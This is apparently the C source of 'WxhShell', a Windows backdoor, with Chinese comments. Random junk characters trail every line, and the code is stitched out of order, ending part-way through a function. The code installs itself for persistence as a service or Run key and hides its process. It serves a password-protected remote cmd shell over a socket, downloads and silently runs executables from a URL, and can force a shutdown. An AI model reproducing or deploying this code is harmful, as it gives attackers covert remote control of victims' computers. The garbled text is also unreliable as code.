    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^HT vw~]5  
    if(Boot(SHUTDOWN)) |m*l/@1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kg /,  
    else { !B9 Yw/Ba  
    closesocket(wsh); zA$ f$J7\^  
    ExitThread(0); < %<nh`D  
    } ~% `hh9]  
    break; 9ku|w#%I  
    } vtK.7AF  
  // 获取shell V;)+v#4{  
  case 's': { L7xiq{t`Y  
    CmdShell(wsh); 9j-;-`$S  
    closesocket(wsh); W4(  
    ExitThread(0); HB.:/ 5\  
    break; -sDl[  
  } gdyWuOxa|  
  // 退出 Zm6jF  
  case 'x': { 'r-B%D=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 43,*.1;sz  
    CloseIt(wsh); el<[Ng[  
    break; +J A\by  
    } XC}2GHO<  
  // 离开 ajkpU.6E:  
  case 'q': { ]S@DVXH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  : ?Z9  
    closesocket(wsh); heb{i5el  
    WSACleanup(); fti0Tz'  
    exit(1); m|]"e@SF2  
    break; W%9~'pXgB  
        } W+s3rS2  
  } K>\v<!%a  
  } pk;S"cnk  
2<AQ{ c  
  // 提示信息 :r:x|[3.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5~#oQ&  
} EVLDP\w{  
  } ?fc<3q"  
 7(o:J  
  return; oIE3`\xS  
} =4!m] *y  
.H&XP W  
// shell模块句柄 U:PtRSdn!b  
int CmdShell(SOCKET sock) e%9zY{ABR%  
{ G%}k_vi&q  
STARTUPINFO si; +lf`Dd3  
ZeroMemory(&si,sizeof(si)); wjOJn]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (&_~eYZU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yVpru8+eD  
PROCESS_INFORMATION ProcessInfo; |gT8QP  
char cmdline[]="cmd"; R"z}q (O:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gS|6,A9  
  return 0; rTST_$"_6  
} 01]W@ \(  
F"23v G>3  
// 自身启动模式 N~?#Qh|ZnU  
int StartFromService(void) jPc,+?  
{ :C&6M79k  
typedef struct p<FqK/  
{ x69RQ+Vw  
  DWORD ExitStatus; l @E {K|  
  DWORD PebBaseAddress; fP\*5|7%R  
  DWORD AffinityMask; VY=YI}E  
  DWORD BasePriority; 8@FgvWC  
  ULONG UniqueProcessId; M%$- c3x  
  ULONG InheritedFromUniqueProcessId; B_3N:K Y 9  
}   PROCESS_BASIC_INFORMATION; UzV78^:,iD  
'@^mesMG  
PROCNTQSIP NtQueryInformationProcess; TeJ=QpGW2  
ArT@BqWd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .rlLt5b%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a`U/|[JM  
_@_EQ!=  
  HANDLE             hProcess; .[?2_e#9%  
  PROCESS_BASIC_INFORMATION pbi; I&% Z*H  
^i@0P}K<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eK\i={va  
  if(NULL == hInst ) return 0; N{a=CaYi+  
+7y#c20  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,OMdLXr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xd4~[n\hm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~svea>Fmr  
>``  
  if (!NtQueryInformationProcess) return 0; 'XOWSx;Y  
q5) K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \23m*3"W  
  if(!hProcess) return 0; n<A<Xj08T9  
5'|W(yR}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ey n-bw  
[z'jL'\4  
  CloseHandle(hProcess); Vf$$e)  
3/,}&SX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zXId up@  
if(hProcess==NULL) return 0; {s:"mkR  
bUuQ"!>ppu  
HMODULE hMod; :8A@4vMS)?  
char procName[255]; L=I;0Ip9y  
unsigned long cbNeeded; (7"CYAe:;  
^SIA%S3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }LoMS<O-[  
_C,9c7K4  
  CloseHandle(hProcess); 0W)|n9  
-'^:+FU  
if(strstr(procName,"services")) return 1; // 以服务启动 ]\/"-Y#4Q  
xO4""/ n  
  return 0; // 注册表启动 KC8  
} Dnd  
jcRe),  
// 主模块 R_ )PbFw  
int StartWxhshell(LPSTR lpCmdLine) uF[~YJ>  
{ 0y2zjXM;3  
  SOCKET wsl; !Yz CK*av1  
BOOL val=TRUE; mA^3?y j  
  int port=0; #S[Y}-]T  
  struct sockaddr_in door; N7_(,Gu*R  
! iK{q0  
  if(wscfg.ws_autoins) Install(); 7/)0{B4U'  
.Y^pDR12  
port=atoi(lpCmdLine); 8= g~+<A  
C(M?$s`  
if(port<=0) port=wscfg.ws_port; `$vf9'\+  
7R,;/3wWjG  
  WSADATA data; .fS{j$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7JBr{3;eS  
.0MY$0s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^UFNds'q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8fK/0u^`d  
  door.sin_family = AF_INET; tqjjn5!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sH]T1z  
  door.sin_port = htons(port); v@{VQVx  
L^K,YlNBR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S>jOVWB  
closesocket(wsl); J7t) H_S{  
return 1; "Jdi>{o8  
} cg9*+]rc  
.kJu17!  
  if(listen(wsl,2) == INVALID_SOCKET) { vI:_bkii  
closesocket(wsl); >:BgatyPH  
return 1; n'%cO]nSx  
} QP>F *A  
  Wxhshell(wsl); qggRS)a  
  WSACleanup(); FtlJ3fB@  
z 0F55<i  
return 0; !_W']Crb]]  
C 'S_M@I=  
} 12: Q`   
Yu9VtC1  
// 以NT服务方式启动 ]cMZ7V^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;alt%:$n  
{ k L4#  
DWORD   status = 0; !)05,6WQ  
  DWORD   specificError = 0xfffffff; rd"!&i  
^N`KT   
  serviceStatus.dwServiceType     = SERVICE_WIN32; R[TaP 7n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mgu9m8 `J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6="o&!  
  serviceStatus.dwWin32ExitCode     = 0; /AY q^  
  serviceStatus.dwServiceSpecificExitCode = 0; k?/!`   
  serviceStatus.dwCheckPoint       = 0; 1`l(H4  
  serviceStatus.dwWaitHint       = 0; ~{N#JOY}Z  
uzLm TmM+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , 10+Sh  
  if (hServiceStatusHandle==0) return; @ ]42.oP  
!>&G+R+k  
status = GetLastError(); (&, E}{p9  
  if (status!=NO_ERROR) ' -aLBAxy  
{ OT"jV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0 t/mLw&  
    serviceStatus.dwCheckPoint       = 0; ;6?,Yhk$h  
    serviceStatus.dwWaitHint       = 0; "j.Q*Hazg  
    serviceStatus.dwWin32ExitCode     = status; U@(8)[?nxn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?q0a^c?A^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z+4Mo*#  
    return; i?)bF!J  
  } >!c Ff$2'  
 U8% IpI;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &]anRT#  
  serviceStatus.dwCheckPoint       = 0; h645;sb0  
  serviceStatus.dwWaitHint       = 0; Cn.dv-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZY;g)`E1  
} [G[{?{  
)a+bH</'  
// 处理NT服务事件,比如:启动、停止 h,]lN'JG{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =YtK@+| i  
{ a(h@4 x  
switch(fdwControl) ':utU1dL  
{ +RK/u  
case SERVICE_CONTROL_STOP: F(,SnSam  
  serviceStatus.dwWin32ExitCode = 0; xx?0Ftuq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <YWu/\{KT  
  serviceStatus.dwCheckPoint   = 0; "#{b)!EH  
  serviceStatus.dwWaitHint     = 0; AAF;M}le,  
  { 7'`nTF-@v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h}S2b@e|  
  } 4&6cDig7*2  
  return; P)ne^_   
case SERVICE_CONTROL_PAUSE: -'i[/{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h[ C XH"  
  break; Aiqb*v$  
case SERVICE_CONTROL_CONTINUE: M2.*]AL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6O@Lx ]t  
  break; l 5f'R  
case SERVICE_CONTROL_INTERROGATE: U1kW1L}B  
  break; nYj7r* e[  
}; q"-Vh,8h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~fO#En  
} ~{6}SXp4U  
XU}" h&>  
// 标准应用程序主函数 T8j<\0WW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E,4*a5Fi  
{ }E)t,T>  
s2nZW pIy  
// 获取操作系统版本 eE{ 2{C  
OsIsNt=GetOsVer(); vTp,j-^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q"LT8nD\  
6-nf+!#G  
  // 从命令行安装 frWY8&W^H  
  if(strpbrk(lpCmdLine,"iI")) Install(); $% W.=a'5  
zS?DXE  
  // 下载执行文件 5)w;0{X!P  
if(wscfg.ws_downexe) { @*$"6!3s5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7 S%`]M4;  
  WinExec(wscfg.ws_filenam,SW_HIDE); % <h2^H\O  
} WkoYkkuzj  
pU u')y  
if(!OsIsNt) { D P:}<  
// 如果时win9x,隐藏进程并且设置为注册表启动 %\%&1  
HideProc(); mn\GLR.  
StartWxhshell(lpCmdLine); Qb:.WMj[q+  
} XK(aH~7xme  
else nYK!'x$  
  if(StartFromService()) X)8Edw[?N3  
  // 以服务方式启动 i2\CDYP  
  StartServiceCtrlDispatcher(DispatchTable); <*p  
else [,|4%Y  
  // 普通方式启动 .O PBET(gv  
  StartWxhshell(lpCmdLine); 1ay{uU!EL  
L-e6^%eU  
return 0; vNU[K%U  
} fqol-{F.V  
wee5Nirw6  
/NVyzM51V  
57$/Dn  
===========================================  <XnxAA  
;i3C  
C,{ Ekbg  
qPCI@5n3T?  
j*_#{niy:  
X|60W  
" PC)V".W 1  
Aac7k m  
#include <stdio.h> [wUJ ~~2#  
#include <string.h> 4WQ 96|F  
#include <windows.h> ]T>YYz  
#include <winsock2.h> & )EL%o5  
#include <winsvc.h>  PO=A^b  
#include <urlmon.h> v1E(K09h2  
;B"S*wYMN  
#pragma comment (lib, "Ws2_32.lib") 4rNuAK`2  
#pragma comment (lib, "urlmon.lib") w{Y:p[}  
0&2&F=fOa<  
#define MAX_USER   100 // 最大客户端连接数 rf$ eg  
#define BUF_SOCK   200 // sock buffer `mKK1x  
#define KEY_BUFF   255 // 输入 buffer 5%R$7>`Z  
DQ_ pLXCC  
#define REBOOT     0   // 重启 p,#**g:  
#define SHUTDOWN   1   // 关机 U9q6m3#$  
<t.  w(?  
#define DEF_PORT   5000 // 监听端口 Bj\oo+L/  
.A <n2-  
#define REG_LEN     16   // 注册表键长度 G~Fjla\?Q  
#define SVC_LEN     80   // NT服务名长度 {`[u XH?3d  
P.]O8r  
// 从dll定义API {>>Gc2UT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4m/L5W:K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n )>nfnh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %ZZW p%uf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gz"I=9  
n6 AP6PK7  
// wxhshell配置信息  Z_?r5M;  
struct WSCFG { hjY)W;  
  int ws_port;         // 监听端口 FtxmCIVIV~  
  char ws_passstr[REG_LEN]; // 口令 =h}IyY@o  
  int ws_autoins;       // 安装标记, 1=yes 0=no o2NU~Ub  
  char ws_regname[REG_LEN]; // 注册表键名 uVV;"LVK~  
  char ws_svcname[REG_LEN]; // 服务名 z8n]6FDiE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4krK CD>|G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RU GhhK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x-ShY&k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]abox%U=%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]!04L}hy|P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M }tr*L  
c{s%kVOzg  
}; 0=Z_5.T>  
` SO"F,  
// default Wxhshell configuration K~Hp%.  
struct WSCFG wscfg={DEF_PORT, ,Q8)r0c  
    "xuhuanlingzhe", WD,iY_'7u^  
    1, )6:nJ"j#  
    "Wxhshell", hM @F|t3  
    "Wxhshell", N_"mC^Vx  
            "WxhShell Service", ;.P9t`*  
    "Wrsky Windows CmdShell Service", geRD2`3;  
    "Please Input Your Password: ", VXtW{*{"  
  1, hZ@Wl6FG;  
  "http://www.wrsky.com/wxhshell.exe", L z'05j3!  
  "Wxhshell.exe" 8P'zQ:#RV  
    }; J 4EG  
NbtNu$%t  
// 消息定义模块 Q(Dp116  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G&/RJLX|w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HO(9 )sK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sOBy)vq?\  
char *msg_ws_ext="\n\rExit."; Z@I.socA  
char *msg_ws_end="\n\rQuit."; J9 iQW  
char *msg_ws_boot="\n\rReboot...";  #{8n<sE  
char *msg_ws_poff="\n\rShutdown..."; y84= Q  
char *msg_ws_down="\n\rSave to "; )q48cQ  
?lYi![.o  
char *msg_ws_err="\n\rErr!"; b{o%`B*  
char *msg_ws_ok="\n\rOK!"; ]"< ` ^  
\Q+<G-Kb.  
char ExeFile[MAX_PATH]; Gmi$Nl!~  
int nUser = 0; oX9rpTi  
HANDLE handles[MAX_USER]; wv8WqYV  
int OsIsNt; s innHQ  
\)pT+QxZ  
SERVICE_STATUS       serviceStatus; ,nELWzz%{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nRmZu\(Ow|  
Dog Tj  
// 函数声明 6R+m;'  
int Install(void); M#Vl{ b  
int Uninstall(void); l`s_ #3  
int DownloadFile(char *sURL, SOCKET wsh); PKhH0O\_U  
int Boot(int flag); SqhG\qE{Qj  
void HideProc(void); (bk~,n_  
int GetOsVer(void); jc|"wN]  
int Wxhshell(SOCKET wsl); #lM :BO  
void TalkWithClient(void *cs); )r#^{{6[v  
int CmdShell(SOCKET sock); gZ*8F|sg  
int StartFromService(void); 1} {bHj  
int StartWxhshell(LPSTR lpCmdLine); {VPF2JFB[  
A3C#w J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9:!<=rk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IG1+_-H:  
(q!tI* }  
// 数据结构和表定义 ugtb`d{ Sl  
SERVICE_TABLE_ENTRY DispatchTable[] = NX^%a1D!  
{ $~<);dYu0  
{wscfg.ws_svcname, NTServiceMain}, =8?gx$r2  
{NULL, NULL} T=|oZ  
}; ei>8{v&g  
n"'1.  
// 自我安装 X#$mBRK7  
int Install(void) ,nJYYM   
{ !biq7f%6#  
  char svExeFile[MAX_PATH]; <j93   
  HKEY key; uX-]z3+  
  strcpy(svExeFile,ExeFile); U[1Ir92:  
oW*e6"<R7  
// 如果是win9x系统,修改注册表设为自启动 jjgjeY  
if(!OsIsNt) { w1-/U+0o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -,t2D/xK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q Fv"!Ql  
  RegCloseKey(key); Z?H#=|U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ufB*[~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GVT+c@Gx  
  RegCloseKey(key); *%^Vq  
  return 0; iol.RszlZ|  
    } &y?L^Aq  
  } FTx&] QN?  
} Y3+GBqP  
else { jrGVC2*rD  
)E<<  
// 如果是NT以上系统,安装为系统服务 <!#6c :(Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =IH z@CU  
if (schSCManager!=0) !xm87I  
{ $F!)S  
  SC_HANDLE schService = CreateService ^ 1rw\Zp  
  ( , 4Vr,?"EO  
  schSCManager, 6vrMR& #a  
  wscfg.ws_svcname, "pb,|U  
  wscfg.ws_svcdisp, IG?044Y  
  SERVICE_ALL_ACCESS, `Z*k M VN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  hfpSxL  
  SERVICE_AUTO_START, D}1Z TX_  
  SERVICE_ERROR_NORMAL, Ij_Y+Mnl4:  
  svExeFile, LHjGlBy  
  NULL, wXv\[z L`  
  NULL, iq>PN:mr  
  NULL, PSX-b)wb  
  NULL, "oX@Z^  
  NULL {O-,JCq/  
  ); "wi=aV9j  
  if (schService!=0) okx~F9  
  { 1s4+a^ &  
  CloseServiceHandle(schService); eqK6`gHa6  
  CloseServiceHandle(schSCManager); #<20vdc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `<>Emc8Z  
  strcat(svExeFile,wscfg.ws_svcname); K4]c   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { md_9bq/w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k H Y  
  RegCloseKey(key); IP'gN-#i  
  return 0; ^J3\ U{B  
    } %zx=rn(K  
  } HCHZB*r[  
  CloseServiceHandle(schSCManager); rt r0 d  
} 'ojI_%9<  
} CN6@g^)P  
{64od0:T  
return 1; G*_$[|H  
} L M  
V3O<l}ak  
// 自我卸载 A+d&aE }3V  
int Uninstall(void) Wu]D pe  
{ x{IxS?.j+  
  HKEY key; Sns`/4S?6Z  
;C=C`$Q  
if(!OsIsNt) { s^Lg*t 3I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6; g_}Zx  
  RegDeleteValue(key,wscfg.ws_regname); z mvF#o  
  RegCloseKey(key); }ie\-V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { swv 1>52{  
  RegDeleteValue(key,wscfg.ws_regname); )8Defuxk  
  RegCloseKey(key); Iuk!A?XV  
  return 0; 0q`n]NM  
  } Bi?+e~R  
} MM8r*T4g/  
} ZW\}4q;[A  
else { a>jiq8d]4  
J{"<Hgb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .c~`{j}  
if (schSCManager!=0) Q C?*O?~#  
{ .0^-a=/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -}nTwx:|5u  
  if (schService!=0) KTX;x2r  
  { Yhu 6QyRV  
  if(DeleteService(schService)!=0) { ;2X/)sxWz  
  CloseServiceHandle(schService); JR='c)6:  
  CloseServiceHandle(schSCManager); O 4xV "\  
  return 0; <t[WHDO`  
  } };%l <Ui;  
  CloseServiceHandle(schService); 5nL,sFd  
  } *G)=6\  
  CloseServiceHandle(schSCManager); u\gPx4]4c  
} _+ z5~6>  
} {J-kcD!bz`  
Ba-Ftkb  
return 1; m:@-]U@ 6  
} rdd%"u+  
z?V'1L1gM  
// 从指定url下载文件 z Qtg]@S  
int DownloadFile(char *sURL, SOCKET wsh) /lBx}o'  
{ &y-(UOqbkP  
  HRESULT hr; mup<%@7m  
char seps[]= "/"; ZsjDe{TH  
char *token; PS ,@ \  
char *file; qF!oP  
char myURL[MAX_PATH]; Aa^%_5  
char myFILE[MAX_PATH]; C FqteY"  
c=]z%+,b]  
strcpy(myURL,sURL); Cf#[E~24  
  token=strtok(myURL,seps); Ms8& $  
  while(token!=NULL) QAiont ,!  
  { Ik_u34U  
    file=token; mouLjT&p  
  token=strtok(NULL,seps); .H,v7L,~88  
  } <4!SQgL  
Z/nTI 0N{  
GetCurrentDirectory(MAX_PATH,myFILE); t)Q6A@$:  
strcat(myFILE, "\\"); Na8%TT>  
strcat(myFILE, file); FSnF>3kj-  
  send(wsh,myFILE,strlen(myFILE),0); ~Dsz9  f  
send(wsh,"...",3,0); gc|?$aE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uZ}=x3B  
  if(hr==S_OK) v`i9LD0(  
return 0; iXl6XwWT%8  
else fhCMbq4T  
return 1; NbPv>/r  
x| jBn}  
} Qs(WyP#  
)@"iWQ 3K  
// 系统电源模块 a#i;*J  
int Boot(int flag) y^"[^+F3 .  
{ zqqu7.`  
  HANDLE hToken; \-A=??@H  
  TOKEN_PRIVILEGES tkp; ~V,~' W  
ROZOX$XM  
  if(OsIsNt) { )%e`SGmp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >0yx!Iao  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %au2kG,  
    tkp.PrivilegeCount = 1; *` }Rt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q2wEt >0a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o&tETJ5Bhe  
if(flag==REBOOT) { 7s#,.(s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gJYB)LjH"  
  return 0; e C\;n  
} !)1r{u  
else { }Yd7<"kp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -[\+~aDH,  
  return 0; nW1Obu8x|  
} 9b KK  
  } &DnX6%2  
  else { Kh{C$b  
if(flag==REBOOT) {  j6zZ! k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <PCa37  
  return 0; tqdw y.  
} u=epnz:<  
else { EJF*_<f9O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P+tnXT>nE  
  return 0; FdT@}  
} +&t`"lRl&  
} {(o$? =  
&p/ ^A[  
return 1; @m*^v\q<u  
} I)@b#V=  
3ya_47D  
// win9x进程隐藏模块 [ArPoJt  
void HideProc(void) NWK+.{s>m  
{ !3]}3jZ.  
dEz7 @T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Q159qZ  
  if ( hKernel != NULL ) 0FL PZaRP  
  { 7#\\Ava$T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0taopDi ;d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {5<3./5O  
    FreeLibrary(hKernel); }E?{M~"<  
  } (`z`ni  
$@H]0<3,  
return; (<|NerwD  
} |&O7F;/_  
B?;!j)FUtt  
// 获取操作系统版本 -b?yzg, 8  
int GetOsVer(void) !1g2'  
{ OQ,KQ\  
  OSVERSIONINFO winfo; 5.1 c#rL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qXI>x6?*  
  GetVersionEx(&winfo); xPuuG{Sm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gO{XD.s  
  return 1; Uc j eB  
  else "mBX$t'gb  
  return 0; *)+K+J  
} L.5 /wg  
pA ,xDs@37  
// 客户端句柄模块 ^ Tr )gik  
int Wxhshell(SOCKET wsl) #M9rt ~4  
{ *G]zN"Y  
  SOCKET wsh; Sdk:-Zuv  
  struct sockaddr_in client; y'5 y  
  DWORD myID; ukZ>_ke`+  
$)V_oQSqn  
  while(nUser<MAX_USER) GIo7- 6kvm  
{ 3k5C;5  
  int nSize=sizeof(client); .Xq4QR .  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8&gr}r- 5  
  if(wsh==INVALID_SOCKET) return 1; [;rty<Z^b  
SHc<`M'+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `i'72\(  
if(handles[nUser]==0) {  S]"-x  
  closesocket(wsh); 7Nw} }  
else @Ido6Z7  
  nUser++; 3bCb_Y  
  } i4',d#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nUgZ]ag=G  
J\WUBt-M  
  return 0; Jp'XZ]o\  
} 2;82*0Y%  
c^4^z"Mo`  
// 关闭 socket Myal3UF  
void CloseIt(SOCKET wsh) l6YToYzE2  
{ BA1|%:.   
closesocket(wsh); 9;fyC =  
nUser--; ~+JE l%  
ExitThread(0); ~^6[SbVb  
} ,-4SVj8$P  
$r>\y (W  
// 客户端请求句柄 j@j%)CCM  
void TalkWithClient(void *cs) 0n'~wz"wB  
{ "*ot:;I  
d]kP@flOV  
  SOCKET wsh=(SOCKET)cs; x_C#ALq9  
  char pwd[SVC_LEN]; ` |L l  
  char cmd[KEY_BUFF]; } Fw/WD  
char chr[1];  1#G(  
int i,j; IQ&o%   
W7j-siWJ  
  while (nUser < MAX_USER) { Oq7R^t`b  
:9_N Y"P  
if(wscfg.ws_passstr) { `]+-z +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t Q0vX@I<v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z>,fuR?9  
  //ZeroMemory(pwd,KEY_BUFF); qWQ7:*DL  
      i=0; 7]i=eD8  
  while(i<SVC_LEN) { gypE~@  
r]C`#  
  // 设置超时 P,(Tu.EPk  
  fd_set FdRead; TQcEe@$)  
  struct timeval TimeOut; bZ/4O*B  
  FD_ZERO(&FdRead); CL~21aslI  
  FD_SET(wsh,&FdRead); !Q`vOVSUD  
  TimeOut.tv_sec=8; C< :F<[H  
  TimeOut.tv_usec=0; 75O-%9lFF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S.!0~KR: U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uv:DO6 {  
SS4'yaQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BUuU#e5  
  pwd=chr[0]; :4{;^|RgU  
  if(chr[0]==0xd || chr[0]==0xa) { "8bxb  
  pwd=0; ^G(/;c*=  
  break; Gk.;<d  
  } #WOb&h  
  i++; 7c:5 Ey  
    } jq4'=L$4  
2EHeQ|#  
  // 如果是非法用户,关闭 socket oic}Go  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :6^8Q,C1@  
} hhS]wM?B  
\F|L y >g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Ju!|G9z/p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5`ma#_zk|f  
G(4*e! aZ0  
while(1) { W|go*+`W%  
K?y!zy  
  ZeroMemory(cmd,KEY_BUFF); A.mIqu,:  
[7QIpt+FSo  
      // 自动支持客户端 telnet标准   /K#t$O4  
  j=0; _` %z  
  while(j<KEY_BUFF) { ,oW8im   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vd8BQB,Q  
  cmd[j]=chr[0]; }ph;~og}y  
  if(chr[0]==0xa || chr[0]==0xd) {  2iUdTy$  
  cmd[j]=0; \XG18V&  
  break; >3S^9{d  
  } bS0z\!1  
  j++; 4_`ss+gk  
    } ([-xM%BI6  
(IbT5  
  // 下载文件 ]FJpe^ ua  
  if(strstr(cmd,"http://")) { c8o $WyO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y.zS?vv2g  
  if(DownloadFile(cmd,wsh)) =Vgj=19X(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xK`.^W  
  else Unl6?_  
